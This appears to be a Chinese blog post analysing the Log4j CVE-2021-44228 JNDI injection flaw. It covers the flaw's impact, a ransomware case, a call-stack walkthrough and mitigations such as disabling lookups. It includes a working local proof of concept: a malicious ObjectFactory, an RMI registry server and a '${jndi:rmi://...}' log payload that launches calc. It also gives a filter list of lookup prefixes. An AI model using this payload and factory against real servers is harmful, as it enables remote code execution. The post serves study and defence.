Log4j漏洞调研，源码浅解析

最新推荐文章于 2024-05-13 09:54:26 发布

AtomizeLy

最新推荐文章于 2024-05-13 09:54:26 发布

阅读量1.4k

点赞数 3

文章标签： java 网络协议 log4j2 后端源码

本文链接：https://blog.csdn.net/weixin_44029684/article/details/121998850

版权

最近log4j的安全漏洞突然冒了出来，用了许久slf4j的我吓得赶紧翻遍了依赖，发现自己用的依赖并没有依赖上log4j-core，长吁一口气。吃了个午饭后转念一想我又没工作，也没啥线上项目在跑，何故担心这些问题？wc，那倒腾半天不就白整了，不行，反正这漏洞在java圈也挺大的，不如顺便研究一波，在未来应聘时也有聊的地方。

全文几乎都是站在巨人的肩膀上完成的，新人技术不佳，还望轻喷。

一.log4j漏洞案例

Java的应用极其广泛且生态庞大，而Log4j作为日志处理的基础组件被几乎所有应用程序所使用。

通过JNDI注入的手段，可以实现任意远程代码执行，意味着攻击者可以在存在漏洞的服务器上为所欲为。

据外媒报道，Steam、苹果的云服务受到了影响，推特和亚马逊也遭受了攻击，元宇宙概念游戏“Minecraft我的世界”数十万用户被入侵。美联社评论称，这一漏洞可能是近年来发现的最严重的计算机漏洞。

经专家研判，该漏洞影响范围极大，且利用方式十分简单，攻击者仅需向目标输入一段代码，不需要用户执行任何多余操作即可触发该漏洞，使攻击者可以远程控制用户受害者服务器，90%以上基于java开发的应用平台都会受到影响。“漏洞波及面和危害程度均堪比 2017年的‘永恒之蓝’漏洞。”

真实案例：

12月15日，BitDefender 宣称发现首个通过 Log4Shell 漏洞直接安装的勒索软件，该漏洞利用程序会下载一个 Java 类hxxp://3.145.115[.]94/Main.class（该类由 Log4j 应用程序加载和执行）文件。加载后，它会从同一台服务器下载一个 .NET 二进制文件，该文件是一个安装名为“Khonsari”的新勒索软件。

这个名字也被用作加密文件的扩展名和勒索通知，如下图所示。

在此后的攻击中，BitDefender 注意到攻击者使用相同的服务器来分发 Orcus 远程访问木马，有安全专家认为这可能是个数据擦除器（Wiper）。Emsisoft 分析师Brett Callow指出，该勒索软件以路易斯安那州一家古董店老板的联系信息命名并使用其联系信息，而不是使用攻击者自己的信息。因此，尚不清楚此人是勒索软件攻击的实际受害者还是诱饵。

测试

环境配置: log4j-2.11.1 jdk1.8.0_181

模拟黑客服务器(写的自动执行calc 召唤计算器)

public class HackerCode implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        excute("calc");
        return null;
    }

    private void excute(String s) {
        try {
            Runtime.getRuntime().exec(s);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

模拟注册黑客服务,启动

public class  HackerServerStart {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("HackerServerImpl", "HackerServerImpl", "http://127.0.0.1:1099/HackerServerImpl");
            registry.bind("Hacker", new ReferenceWrapper(reference));

            System.out.println("Server ready");
        } catch (Exception e) {
            System.out.println("Server exception: "+e);
            e.printStackTrace();
        }
    }
}

测试

public class test {
    private static final Logger LOGGER = LogManager.getLogger();

    static {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
        System.setProperty("java.rmi.server.useCodebaseOnly","true");
    }

    public static void main(String[] args) {
        //RCE  remote code execute
        LOGGER.fatal("${jndi:rmi://127.0.0.1:1099/Hacker}");
//        LOGGER.error("${java:version}");
    }
}

结果:

如上图所示，模拟黑客通过远程代码执行直接执行了HackerCode中的“calc"命令启动了计算器，

二.log4j漏洞危害及范围

漏洞详情

Apache Log4j 远程代码执行漏洞严重程度: 严重由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析：Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本，通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。
漏洞编号：CVE-2021-44228
等级：高危，该漏洞影响范围极广，危害极大。
CVSS评分：10（最高级）漏洞状态：

影响范围

Apache Log4j 2.x <= 2.15.1-rc1

影响组件

Apache Struts2 Apache Solr Apache Druid Apache Flink Apache Flume Apache Dubbo Apache Kafka Sping-boot-strater-loj2 ElasticSearch Redis Logstash

三.log4j漏洞原理及源码解析

原理概述

Log4j漏洞的本质是一个JNDI注入漏洞。JNDI是Java的一个目录服务应用程序接口（API），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。

JNDI支持LDAP、DNS、NIS、RMI、CORBA等多种协议，即使并非都能用于命令执行，但信息可以通过上述几种协议中任何一种被泄露，加之该漏洞相关源码存在递归解析，利用方式非常灵活，payload变化多端且漏洞入口多样化，目前行业中对该漏洞的防护缺乏完整的体系化思路。

即使在内网环境中JNDI外联无法成功，攻击者也可以结合lookup特性去读取很多敏感信息（如数据库密码、JAVA环境变量等），再通过DNS协议把敏感信息带出内网。解法之一云防火墙“主动外联管控+DNS防火墙阻断解析外带信息” 这两重主动外联管控能力，可以阻止漏洞利用和“不出网”的信息泄露。

源码解析

1.漏洞触发点

2.调用栈

3.调用过程:

调用LOGGER.fatal()进入AbstarctLogger中的

进行一系列过滤

进入消息处理阶段

从调用栈的细节有对字符串的编码、序列化、参数格式化等操作

最终到lookup方法时 Interpolator.class

确定到具体的JndiLookup使用lookup方法 JndiManager.class

由此强制进入GenericURLContext.class

又是漫长的一系列lookup之后

在RegistryImpl_Stub.class中由var2参数得到了网络连接的信息，var3同理

上图返回值赋给var2，得到具体的远程执行信息

返回解码对象

此时RCE已经成功

整个调用过程十分冗长，建议感兴趣的兄弟亲自跑一遍，笔者这一路下来也只是明白了个大概，方便未来回顾时有新发现。希望读者大佬们能在源码中学到更多

四.log4j漏洞应对措施

解决方案

①升级至log4j-2.15.0-rc2及以上

②限制服务器访问外网的地址

③如果不存在\$\{(.*):-(.*)\}，则攻击包中必存在连续关键字，直接过滤所有log4j2支持的lookup：

${date:
${java:
${marker:
${ctx:
${lower:
${upper:
${jndi:
${main:
${jvmrunargs:
${sys:
${env:
${log4j:

紧急加固缓解措施

配置关闭lookup功能

①设置配置参数：

log4j2.formatMsgNoLookups=True

②修改JVM参数：

-Dlog4j2.formatMsgNoLookups=true

③修改系统环境变量： FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

禁止 log4j2 所在服务器外连

升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上

高版本避免了Reference引用ObjectFactory的直接加载，但是依然可以用ReferenceRef去绕过限制，因此还是需要升级core包。

防范:

避开log4j-core 核心jar包

RASP（Runtime Application Self-Protection），运行时应用自我防护

参考文章:

BitDefender 发现首个利用Log4Shell漏洞的勒索软件

警惕主动外联！云防火墙检测拦截勒索、Muhstik僵尸网络等 Log4j2漏洞利用

log4shell 分析

Apache Log4j2 Jndi RCE 高危漏洞分析与防御

扩展性VS安全性！JNDI致命注入攻击！风险与源码深入分析！_哔哩哔哩_bilibili

Apache 存在 Log4j 远程代码执行漏洞，将给相关企业带来哪些影响？还有哪些信息值得关注？ - 知乎

AtomizeLy

关注

3
点赞
踩
2

收藏

觉得还不错? 一键收藏
2
评论
Log4j漏洞调研，源码浅解析

最近log4j的安全漏洞突然冒了出来，用了许久slf4j的我吓得赶紧翻遍了依赖，发现自己用的依赖并没有依赖上log4j-core，长吁一口气。吃了个午饭后转念一想我又没工作，也没啥线上项目在跑，何故担心这些问题？wc，那倒腾半天不就白整了，不行，反正这漏洞在java圈也挺大的，不如顺便研究一波，在未来应聘时也有聊的地方。全文几乎都是站在巨人的肩膀上完成的，新人技术不佳，还望轻喷。
复制链接

扫一扫